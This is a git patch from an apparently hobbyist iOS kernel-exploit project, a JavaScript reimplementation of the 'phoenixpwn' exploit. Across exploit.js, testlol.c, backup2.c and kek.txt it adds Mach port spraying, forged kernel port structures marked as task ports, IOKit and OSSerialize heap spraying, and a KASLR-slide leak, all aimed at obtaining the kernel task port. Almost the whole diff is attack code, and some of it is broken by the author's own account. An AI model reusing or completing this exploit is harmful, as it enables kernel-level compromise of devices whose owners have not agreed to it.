From 41a1e7292997c84643202f3d27a4daa4b02197e4 Mon Sep 17 00:00:00 2001 From: spv Date: Wed, 27 Apr 2022 12:00:16 -0400 Subject: add hopefully functional port spray and broken release_port_ptrs that hangs after 1 run --- src/js/kexp/exploit.js | 60 ++++++++++++--- src/js/lib/myutils.js | 4 +- src/js/primitives/mem.js | 2 +- tools/backup2.c | 171 +++++++++++++++++++++++++++++++++++++++++ tools/testlol.c | 80 +++++++++++++++++-- work/buf.txt | 2 + work/kek.txt | 195 +++++++++++++++++++++++++++++++++++++++++++++++ work/lol.txt | 2 + 8 files changed, 498 insertions(+), 18 deletions(-) create mode 100644 tools/backup2.c create mode 100644 work/buf.txt create mode 100755 work/kek.txt create mode 100755 work/lol.txt diff --git a/src/js/kexp/exploit.js b/src/js/kexp/exploit.js index e0ef574..22f68ca 100755 --- a/src/js/kexp/exploit.js +++ b/src/js/kexp/exploit.js @@ -26,8 +26,10 @@ var req_head_msgh_reply_port = 0xc; var req_head_msgh_id = 0x14; var req_msgh_body_msgh_descriptor_count = 0x18; var MACH_MSG_OOL_PORTS_DESCRIPTOR = 0x2; -var req_init_port_set_address = 0x0 -var req_init_port_set_count = 0x4 +var req_init_port_set_address = 0x0; +var req_init_port_set_count = 0x4; +var MACH_RCV_MSG = 0x2; +var MACH_MSG_TIMEOUT_NONE = 0; var task_self = 0; var kslide = 0; @@ -181,7 +183,7 @@ function spray(dict, size, port) { var kp = 0; function spray_ports(number_port_descs) { - printf("spray_ports %d\n", number_port_descs); +// printf("spray_ports %d\n", number_port_descs); if (kp == 0) { kp = malloc(4); mach_port_allocate(task_self, MACH_PORT_RIGHT_RECEIVE, kp); @@ -191,11 +193,12 @@ function spray_ports(number_port_descs) { var mp = malloc(4); mach_port_allocate(task_self, MACH_PORT_RIGHT_RECEIVE, mp); - var rmp = read_u32(mp); - mach_port_insert_right(task_self, rmp, rmp, MACH_MSG_TYPE_MAKE_SEND); + mach_port_insert_right(task_self, read_u32(mp), read_u32(mp), MACH_MSG_TYPE_MAKE_SEND); - send_ports(rmp, read_u32(kp), 2, number_port_descs); - return mp; + send_ports(read_u32(mp), read_u32(kp), 2, number_port_descs); + var ret = read_u32(mp); + free(mp); + return ret; } function fast_log2(n) { @@ -242,8 +245,10 @@ function send_ports(target, payload, num, number_port_descs) { new_buf_.push(tmp[3]); new_buf_.push(0); new_buf_.push(0); - new_buf_.push(19); new_buf_.push(MACH_MSG_OOL_PORTS_DESCRIPTOR); + new_buf_.push(19); + +// printf("%x 0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,\n", new_buf_.length, new_buf_[zz]]); var new_buf = fast_array_mul(new_buf_, number_port_descs); @@ -267,11 +272,27 @@ function send_ports(target, payload, num, number_port_descs) { free(buf); - printf("%d %s\n", ret, mach_error_string(ret)); - return ret; } +function release_port_ptrs(port) { + printf("alive\n"); + var req = malloc(0x1c + (5 * 0xc) + 0x8); + for (var i = 0; i < (0x1c + (5 * 0xc) + 0x8); i += 4) { + write_u32(req + i, 0x0); + } + printf("%s\n", hexdump(read_buf(req, 0x1c + (5 * 0xc) + 0x8), 8, 2, req, 8, "0")); + printf("alive\n"); + var ret = mach_msg(req, MACH_RCV_MSG, 0, (0x1c + (5 * 0xc) + 0x8), port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); + printf("alive\n"); + // if (ret != KERN_SUCCESS) { + printf("mach_recv %d %s\n", ret, mach_error_string(ret)); + printf("alive\n"); + // } + free(req); + printf("alive\n"); +} + function get_kernel_task() { var ret = 0; var tfp0 = 0; @@ -318,17 +339,36 @@ function get_kernel_task() { prepare_ptr(big_buf, big_size, kptr, 256); prepare_ptr(small_buf, small_size, kptr, 32); + sched_yield(); for (var i = 0; i < PORTS_NUM_PRESPRAY; i++) { var dummy = malloc(4); spray(big_buf, big_size, dummy); } + sched_yield(); for (var i = 0; i < PORTS_NUM; i++) { write_u32(fp + (i << 2), spray_ports(i)); var dummy = malloc(4); spray(small_buf, small_size, dummy); } + sched_yield(); + for (var i = 0; i < PORTS_NUM; i++) { + printf("test\n"); + printf("test1\n"); + printf("test2\n"); + printf("test3\n"); + printf("test4\n"); + printf("test5\n"); + printf("test6\n"); + printf("test7\n"); + printf("test8\n"); + printf("test9\n"); + printf("test10\n"); + release_port_ptrs(read_u32(fp + (i << 2))); + printf("test11\n"); + } + printf("get lucky\n"); return tfp0; diff --git a/src/js/lib/myutils.js b/src/js/lib/myutils.js index 325c490..e856624 100755 --- a/src/js/lib/myutils.js +++ b/src/js/lib/myutils.js @@ -95,8 +95,8 @@ var strlen = scall_wrapper("strlen"); var mach_task_self = scall_wrapper("mach_task_self"); var mach_thread_self = scall_wrapper("mach_thread_self"); var malloc = scall_wrapper("malloc"); -var mach_port_allocate = scall_wrapper("malloc"); -var mach_port_insert_right = scall_wrapper("malloc"); +var mach_port_allocate = scall_wrapper("mach_port_allocate"); +var mach_port_insert_right = scall_wrapper("mach_port_insert_right"); var mach_port_set_attributes = scall_wrapper("mach_port_set_attributes"); var usleep = scall_wrapper("usleep"); var sched_yield = scall_wrapper("sched_yield"); diff --git a/src/js/primitives/mem.js b/src/js/primitives/mem.js index ff12fdd..f6c4fe7 100644 --- a/src/js/primitives/mem.js +++ b/src/js/primitives/mem.js @@ -92,7 +92,7 @@ function write_u32_buf(addy, buf, len) { } function fast_write_buf(addy, buf) { - var upper_i = Math.floor(buf.length / 0x100); + var upper_i = Math.ceil(buf.length / 0x100); for (var i = 0; i < upper_i; i++) { u8x4 = u32_to_u8x4(addy + (i * 0x100)); diff --git a/tools/backup2.c b/tools/backup2.c new file mode 100644 index 0000000..87cf03d --- /dev/null +++ b/tools/backup2.c @@ -0,0 +1,171 @@ +#include +#include +#include +#include +//#include +//#include + +typedef struct __attribute__((__packed__)) { + uint32_t ip_bits; + uint32_t ip_references; + struct __attribute__((__packed__)) { + uint32_t data; + uint32_t pad; + uint32_t type; + } ip_lock; + struct __attribute__((__packed__)) { + struct __attribute__((__packed__)) { + struct __attribute__((__packed__)) { + uint32_t flags; + uintptr_t waitq_interlock; + uint64_t waitq_set_id; + uint64_t waitq_prepost_id; + struct __attribute__((__packed__)) { + uintptr_t next; + uintptr_t prev; + } waitq_queue; + } waitq; + uintptr_t messages; + natural_t seqno; + natural_t receiver_name; + uint16_t msgcount; + uint16_t qlimit; + } port; + uintptr_t imq_klist; + } ip_messages; + natural_t ip_flags; + uintptr_t ip_receiver; + uintptr_t ip_kobject; + uintptr_t ip_nsrequest; + uintptr_t ip_pdrequest; + uintptr_t ip_requests; + uintptr_t ip_premsg; + uint64_t ip_context; + natural_t ip_mscount; + natural_t ip_srights; + natural_t ip_sorights; +} kport_t; + +mach_port_t kp = 0; +mach_port_t spray_ports(mach_msg_type_number_t number_port_descs) { + if (!kp) { + mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &kp); + mach_port_insert_right(mach_task_self(), kp, kp, MACH_MSG_TYPE_MAKE_SEND); + } + + mach_port_t mp = 0; + + mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &mp); + mach_port_insert_right(mach_task_self(), mp, mp, MACH_MSG_TYPE_MAKE_SEND); + + send_ports(mp, kp, 2, number_port_descs); + + return mp; +} + +kern_return_t send_ports(mach_port_t target, mach_port_t payload, size_t num, mach_msg_type_number_t number_port_descs) +{ + mach_port_t init_port_set[num]; + for(size_t i = 0; i < num; ++i) + { + init_port_set[i] = payload; + } + + typedef struct { + mach_msg_header_t Head; + mach_msg_body_t msgh_body; + mach_msg_ool_ports_descriptor_t init_port_set[0]; + } Request; + + char buf[sizeof(Request) + number_port_descs*sizeof(mach_msg_ool_ports_descriptor_t)]; + Request *InP = (Request*)buf; + + InP->msgh_body.msgh_descriptor_count = number_port_descs; + for (int i = 0; i < 2; i++) { + InP->init_port_set[i].address = (void *)(init_port_set); + InP->init_port_set[i].count = 4; + InP->init_port_set[i].disposition = 19; + InP->init_port_set[i].deallocate = FALSE; + InP->init_port_set[i].type = MACH_MSG_OOL_PORTS_DESCRIPTOR; + } + + InP->Head.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE); + /* msgh_size passed as argument */ + InP->Head.msgh_remote_port = 0x44434241; + InP->Head.msgh_local_port = 0; + InP->Head.msgh_id = 0x1337; + + + int ret = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request)+number_port_descs*sizeof(mach_msg_ool_ports_descriptor_t), 0, 0, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); + printf("%d %s\n", ret, mach_error_string(ret)); + return ret; +} + +int main(int argc, char* argv[]) { + printf("var MACH_PORT_RIGHT_RECEIVE = 0x%x;\n", MACH_PORT_RIGHT_RECEIVE); + printf("var MACH_MSG_TYPE_MAKE_SEND = 0x%x;\n", MACH_MSG_TYPE_MAKE_SEND); + printf("var MACH_PORT_LIMITS_INFO = 0x%x;\n", MACH_PORT_LIMITS_INFO); + printf("var MACH_PORT_LIMITS_INFO_COUNT = 0x%x;\n", MACH_PORT_LIMITS_INFO_COUNT); + printf("var MACH_MSG_OOL_PORTS_DESCRIPTOR = 0x%x;\n", MACH_MSG_OOL_PORTS_DESCRIPTOR); + printf("var kport_size = 0x%x;\n", sizeof(kport_t)); + kport_t kport[2] = {}; + uintptr_t *ptr = (uintptr_t*)(kport + 1); + kport->ip_bits = 0x80000002; // IO_BITS_ACTIVE | IOT_PORT | IKOT_TASK + kport->ip_references = 100; + kport->ip_lock.type = 0x11; + kport->ip_messages.port.qlimit = 777; + kport->ip_receiver = 0x12345678; // dummy + kport->ip_srights = 99; + typedef struct { + mach_msg_header_t Head; + mach_msg_body_t msgh_body; + mach_msg_ool_ports_descriptor_t init_port_set[0]; + } Request; + + printf("%x\n", sizeof(Request)); + printf("%x\n", sizeof(mach_msg_ool_ports_descriptor_t)); + printf("var req_init_port_set = 0x%x\n", offsetof(Request, init_port_set)); + printf("var req_init_port_set_address = 0x%x\n", offsetof(mach_msg_ool_ports_descriptor_t, address)); + printf("var req_init_port_set_count = 0x%x\n", offsetof(mach_msg_ool_ports_descriptor_t, count)); + printf("%x %x %x %x %x\n", PROT_READ, PROT_WRITE, PROT_EXEC, MAP_PRIVATE, MAP_ANON); +// printf("var req_init_port_set_disposition = 0x%x\n", offsetof(Request, init_port_set) + offsetof(mach_msg_ool_ports_descriptor_t, disposition)); +// printf("var req_init_port_set_deallocate = 0x%x\n", offsetof(Request, init_port_set) + offsetof(mach_msg_ool_ports_descriptor_t, deallocate)); +// printf("var req_init_port_set_type = 0x%x\n", offsetof(Request, init_port_set) + offsetof(mach_msg_ool_ports_descriptor_t, type)); + printf("var req_head_msgh_bits = 0x%x\n", offsetof(Request, Head.msgh_bits)); + printf("var req_head_msgh_request_port = 0x%x\n", offsetof(Request, Head.msgh_remote_port)); + printf("var req_head_msgh_reply_port = 0x%x\n", offsetof(Request, Head.msgh_local_port)); + printf("var req_head_msgh_id = 0x%x\n", offsetof(Request, Head.msgh_id)); + printf("var req_msgh_body_msgh_descriptor_count = 0x%x\n", offsetof(Request, msgh_body.msgh_descriptor_count)); + + printf("%x\n", sizeof(mach_msg_header_t)); + + printf("%x\n", MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE)); + printf("%x\n", MACH_SEND_MSG|MACH_MSG_OPTION_NONE); + printf("%x\n", MACH_MSG_TIMEOUT_NONE); + + printf("var kport_ip_bits%x = 0x%x;\n", 4, offsetof(kport_t, ip_bits)); + printf("var kport_ip_references%x = 0x%x;\n", 4, offsetof(kport_t, ip_references)); + printf("var kport_ip_lock_type%x = 0x%x;\n", 4, offsetof(kport_t, ip_lock.type)); + printf("var kport_ip_messages_port_qlimit%x = 0x%x;\n", 2, offsetof(kport_t, ip_messages.port.qlimit)); + printf("var kport_ip_receiver%x = 0x%x;\n", 4, offsetof(kport_t, ip_receiver)); + printf("var kport_ip_srights%x = 0x%x;\n", 4, offsetof(kport_t, ip_srights)); + printf("var MIG_MAX = 0x%x\n", 0x1000); + printf("var NDR_record = %x %x %x %x\n", NDR_record); + + spray_ports(2); + +/* + for (int i = 0; i < (sizeof(Request) + number_port_descs * sizeof(mach_msg_ool_ports_descriptor_t)); i++) { + printf("0x%02x,", ((uint8_t*)(buf))[i]); + } + printf("\n"); + + int ret = mach_msg(buf, 1, 0x1c + (number_port_descs * 0xc), 0, 0, 0, MACH_PORT_NULL);*/ +// +// printf("%d %s\n", ret, mach_error_string(ret)); + + // printf("%p %p %x %x\n", buf, &InP->Head, sizeof(Request), sizeof(mach_msg_ool_ports_descriptor_t)); + // printf("%x %x %x %x %x %x %x %x %x\n", &InP->Head, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request)+number_port_descs*sizeof(mach_msg_ool_ports_descriptor_t), 0, 0, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL, 0x41414141); + + return 0; +} diff --git a/tools/testlol.c b/tools/testlol.c index 59b1db9..526895b 100755 --- a/tools/testlol.c +++ b/tools/testlol.c @@ -46,6 +46,67 @@ typedef struct __attribute__((__packed__)) { natural_t ip_sorights; } kport_t; +mach_port_t kp = 0; +mach_port_t spray_ports(mach_msg_type_number_t number_port_descs) { + if (!kp) { + mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &kp); + mach_port_insert_right(mach_task_self(), kp, kp, MACH_MSG_TYPE_MAKE_SEND); + } + + mach_port_t mp = 0; + + mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &mp); + mach_port_insert_right(mach_task_self(), mp, mp, MACH_MSG_TYPE_MAKE_SEND); + + send_ports(mp, kp, 2, number_port_descs); + + printf("%x %x %x %x\n", mp, kp, 2, number_port_descs); + + return mp; +} + +kern_return_t send_ports(mach_port_t target, mach_port_t payload, size_t num, mach_msg_type_number_t number_port_descs) +{ + mach_port_t init_port_set[num]; + for(size_t i = 0; i < num; ++i) + { + init_port_set[i] = payload; + } + + typedef struct { + mach_msg_header_t Head; + mach_msg_body_t msgh_body; + mach_msg_ool_ports_descriptor_t init_port_set[0]; + } Request; + + char buf[sizeof(Request) + number_port_descs*sizeof(mach_msg_ool_ports_descriptor_t)]; + Request *InP = (Request*)buf; + + InP->msgh_body.msgh_descriptor_count = number_port_descs; + for (int i = 0; i < 2; i++) { + InP->init_port_set[i].address = (void *)0x41424344; + InP->init_port_set[i].count = 0x45464748; + InP->init_port_set[i].disposition = 0x53; + InP->init_port_set[i].deallocate = 0x51; + InP->init_port_set[i].type = 0x54; + } + + InP->Head.msgh_bits = 0x494a4b4c; + /* msgh_size passed as argument */ + InP->Head.msgh_remote_port = 0x4d4e4f50; + InP->Head.msgh_local_port = 0x51525354; + InP->Head.msgh_id = 0x55565758; + + for (int i = 0; i < (sizeof(Request) + number_port_descs * sizeof(mach_msg_ool_ports_descriptor_t)); i++) { + printf("0x%02x,", ((uint8_t*)(buf))[i]); + } + printf("\n"); + + int ret = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request)+number_port_descs*sizeof(mach_msg_ool_ports_descriptor_t), 0, 0, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); + printf("%d %s\n", ret, mach_error_string(ret)); + return ret; +} + int main(int argc, char* argv[]) { printf("var MACH_PORT_RIGHT_RECEIVE = 0x%x;\n", MACH_PORT_RIGHT_RECEIVE); printf("var MACH_MSG_TYPE_MAKE_SEND = 0x%x;\n", MACH_MSG_TYPE_MAKE_SEND); @@ -97,13 +158,22 @@ int main(int argc, char* argv[]) { printf("var MIG_MAX = 0x%x\n", 0x1000); printf("var NDR_record = %x %x %x %x\n", NDR_record); - int number_port_descs = 1; +// spray_ports(2); - char buf[sizeof(Request) + number_port_descs*sizeof(mach_msg_ool_ports_descriptor_t)]; - Request *InP = (Request*)buf; + printf("%x\n", MACH_RCV_MSG); + +/* + for (int i = 0; i < (sizeof(Request) + number_port_descs * sizeof(mach_msg_ool_ports_descriptor_t)); i++) { + printf("0x%02x,", ((uint8_t*)(buf))[i]); + } + printf("\n"); + + int ret = mach_msg(buf, 1, 0x1c + (number_port_descs * 0xc), 0, 0, 0, MACH_PORT_NULL);*/ +// +// printf("%d %s\n", ret, mach_error_string(ret)); - printf("%p %p %x %x\n", buf, &InP->Head, sizeof(Request), sizeof(mach_msg_ool_ports_descriptor_t)); - printf("%x %x %x %x %x %x %x %x %x\n", &InP->Head, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request)+number_port_descs*sizeof(mach_msg_ool_ports_descriptor_t), 0, 0, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL, 0x41414141); + // printf("%p %p %x %x\n", buf, &InP->Head, sizeof(Request), sizeof(mach_msg_ool_ports_descriptor_t)); + // printf("%x %x %x %x %x %x %x %x %x\n", &InP->Head, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request)+number_port_descs*sizeof(mach_msg_ool_ports_descriptor_t), 0, 0, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL, 0x41414141); return 0; } diff --git a/work/buf.txt b/work/buf.txt new file mode 100644 index 0000000..af5be02 --- /dev/null +++ b/work/buf.txt @@ -0,0 +1,2 @@ +0x0b,0xe4,0xb6,0x22,0xf0,0x56,0x10,0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x2c,0x58,0x10,0x00,0x68,0x25,0x00,0x00, +0xf0,0x17,0xe7,0x17,0x02,0x00,0x00,0x00,0x00,0x00,0x13,0x02,0xf0,0x17,0xe7,0x17,0x02,0x00,0x00,0x00,0x00,0x00,0x13,0x02, \ No newline at end of file diff --git a/work/kek.txt b/work/kek.txt new file mode 100755 index 0000000..047b7d2 --- /dev/null +++ b/work/kek.txt @@ -0,0 +1,195 @@ +/* + * phoenixpwn kernel exploit + * reimplemented in JS + * greetz to @s1guza, @tihmstar, @i41nbeer, @mbazaliy + */ + +var sanity_port = 0; +var MACH_PORT_RIGHT_RECEIVE = 0x1; +var MACH_MSG_TYPE_MAKE_SEND = 0x14; +var MACH_PORT_LIMITS_INFO = 0x1; +var MACH_PORT_LIMITS_INFO_COUNT = 0x1; +var kport_size = 0x78; +var kport_ip_bits4 = 0x0; +var kport_ip_references4 = 0x4; +var kport_ip_lock_type4 = 0x10; +var kport_ip_messages_port_qlimit2 = 0x42; +var kport_ip_receiver4 = 0x4c; +var kport_ip_srights4 = 0x70; +var KERN_SUCCESS = 0; +var NULL = 0; +var MACH_PORT_NULL = 0; + +var fakeportData = 0; + +var kOSSerializeDictionary = 0x01000000; +var kOSSerializeArray = 0x02000000; +var kOSSerializeSet = 0x03000000; +var kOSSerializeNumber = 0x04000000; +var kOSSerializeSymbol = 0x08000000; +var kOSSerializeString = 0x09000000; +var kOSSerializeData = 0x0a000000; +var kOSSerializeBoolean = 0x0b000000; +var kOSSerializeObject = 0x0c000000; + +var kOSSerializeTypeMask = 0x7F000000; +var kOSSerializeDataMask = 0x00FFFFFF; + +var kOSSerializeEndCollection = 0x80000000; + +var kOSSerializeMagic = 0x000000d3; + +var PROT_READ = 0x1; +var PROT_WRITE = 0x2; +var PROT_EXEC = 0x4; + +var SIZEOF_BYTES_MSG = 384; + +var PORTS_NUM = 1024; +var PORTS_NUM_PRESPRAY = 100; +var MIG_MAX = 0x1000; +var NDR_record = 0x36ebf00c; + +function spray_data(mem, size, num, portptr) { + var err = malloc(4); + var ret = 0; + var master = malloc(4); + host_get_io_master(mach_host_self(), master); + var dict = malloc(MIG_MAX); + var __cnt = 0; + write_u32(dict + (__cnt << 2), kOSSerializeMagic); __cnt++; + write_u32(dict + (__cnt << 2), kOSSerializeEndCollection | kOSSerializeDictionary | 1); __cnt++; + write_u32(dict + (__cnt << 2), kOSSerializeSymbol | 4); __cnt++; + write_u32(dict + (__cnt << 2), 0x0079656b); __cnt++; + write_u32(dict + (__cnt << 2), kOSSerializeEndCollection | kOSSerializeArray | num); __cnt++; + + for (var i = 0; i < num; i++) { + if (i == (num - 1)) { + write_u32(dict + (__cnt << 2), kOSSerializeEndCollection | kOSSerializeData | SIZEOF_BYTES_MSG); __cnt++; + } else { + write_u32(dict + (__cnt << 2), kOSSerializeData | SIZEOF_BYTES_MSG); __cnt++; + } + if (mem != 0 && size != 0) { + memcpy(dict + (__cnt << 2), mem, size); + } + memset(dict + (__cnt << 2) + size, 0, SIZEOF_BYTES_MSG - size); + __cnt += SIZEOF_BYTES_MSG / 4; + } + + printf("%x %x\n", master, read_u32(master)); + printf("%x\n", read_u32(0x36ebf00c + get_dyld_shc_slide())); + ret = io_service_add_notification_ool(read_u32(master), "IOServiceTerminate", dict, __cnt * 4, MACH_PORT_NULL, NULL, 0, err, portptr); + if (ret == KERN_SUCCESS) { + ret = read_u32(err); + } + + return ret; +} + +function copyinPort(kport, cnt) { + var err = malloc(4); + var ret = 0; + var self = mach_task_self(); + var service = MACH_PORT_NULL; + var client = malloc(4); + var it = malloc(4); + var o = MACH_PORT_NULL; + var data = malloc(4); + var master = malloc(4); + fakeportData = malloc(4); + host_get_io_master(mach_host_self(), master); + ret = spray_data(NULL, 0, 5, data); + printf("spray_data=%d (%s)\n", ret, mach_error_string(ret)); + printf("sprayed, still here\n"); + printf("still alive 100\n"); + + service = IOServiceGetMatchingService(read_u32(master), IOServiceMatching("AppleMobileFileIntegrity")); + printf("service=%x\n", service); + printf("still alive 104\n"); + + var tst = sptr("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); + var kpbuf = tst + 4; + for (var i = 0; i < cnt; i++) { + write_buf(kpbuf + (i * kport_size), read_buf(kport + (i * kport_size), kport_size), kport_size); + } + printf("still alive 111\n"); + + var err = malloc(4); + printf("still alive 114\n"); + var xml = sptr("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1768515945"); + printf("still alive 116\n"); + ret = io_service_open_extended(service, self, 0, 0, 1, xml, strlen(xml) + 1, err, client); + printf("still alive 118\n"); + printf("io_service_open_extended=%d (%s)\n", ret, mach_error_string(ret)); + printf("still alive 120\n"); + if (ret == KERN_SUCCESS) { + ret = read_u32(err); + } + printf("still alive 124\n"); + printf("io_service_open_extended=%d (%s)\n", ret, mach_error_string(ret)); + printf("still alive 126\n"); + IORegistryEntryGetChildIterator(service, "IOService", it); + printf("still alive 128\n"); + + var found = false; + + while ((o = IOIteratorNext(read_u32(it))) != MACH_PORT_NULL && !found) { + printf("still alive 133\n"); + var buf = malloc(16 * 4); + var size = malloc(4); + write_u32(size, 16 * 4); + ret = IORegistryEntryGetProperty(o, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", buf, size); + if (ret == KERN_SUCCESS) { + printf("yolo\n"); + mach_port_deallocate(self, read_u32(data)); + write_u32(data, MACH_PORT_NULL); + spray_data(tst, strlen(tst) + 1, 10, fakeportData); + printf("YOLO YOLO YOLO kaslr_slide=0x%08x\n", ((read_u32(buf + (9 << 2)) & 0xfff00000) + 0x1000) - 0x80001000); + sleep(1); + found = true; + } + } + +} + +function get_kernel_task() { + var ret = 0; + var tfp0 = 0; + + sanity_port = malloc(4); + + mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, sanity_port); + mach_port_insert_right(mach_task_self(), read_u32(sanity_port), read_u32(sanity_port), MACH_MSG_TYPE_MAKE_SEND); + limits = malloc(4); + write_u32(limits, 1000); + mach_port_set_attributes(mach_task_self(), read_u32(sanity_port), MACH_PORT_LIMITS_INFO, limits, MACH_PORT_LIMITS_INFO_COUNT); + + printf("starting exploit\n"); + + var data = malloc(16); + var kport = malloc(kport_size * 2); + var ptr = kport + kport_size; // maybe + 1? iirc adding 1 to a pointer adds sizeof(type) unless it's void or something + write_u32(kport + kport_ip_bits4, 0x80000002); // IO_BITS_ACTIVE | IOT_PORT | IKOT_TASK + write_u32(kport + kport_ip_references4, 100); + write_u32(kport + kport_ip_lock_type4, 0x11); + write_u16(kport + kport_ip_messages_port_qlimit2, 777); + write_u32(kport + kport_ip_receiver4, 0x12345678); // dummy + write_u32(kport + kport_ip_srights4, 99); + + var big_buf = malloc(MIG_MAX); + var small_buf = malloc(MIG_MAX); + + var big_size = 0; + var small_size = 0; + + var fp = malloc(PORTS_NUM * 4); + var postSpray = malloc(4); + + usleep(10000); + sched_yield(); + var kptr = copyinPort(kport, 2); + + printf("get lucky\n"); + + return tfp0; +} \ No newline at end of file diff --git a/work/lol.txt b/work/lol.txt new file mode 100755 index 0000000..fab4ec8 --- /dev/null +++ b/work/lol.txt @@ -0,0 +1,2 @@ +0x13,0x15,0x00,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x39,0x05,0x00,0x00,0x02,0x00,0x00,0x00,0xa0,0x1b,0x61,0x17,0x02,0x00,0x00,0x00,0x00,0x00,0x13,0x02,0xa0,0x1b,0x61,0x17,0x02,0x00,0x00,0x00,0x00,0x00,0x13,0x02 +0x13,0x15,0x00,0x80,0xec,0x56,0x10,0x00,0x44,0x43,0x42,0x41,0x00,0x00,0x00,0x00,0x2c,0x58,0x10,0x00,0x37,0x13,0x00,0x00,0x02,0x00,0x00,0x00,0x44,0x43,0x42,0x41,0x04,0x00,0x00,0x00,0x00,0x00,0x13,0x02,0x44,0x43,0x42,0x41,0x04,0x00,0x00,0x00,0x00,0x57,0x13,0x02, \ No newline at end of file -- cgit v1.2.3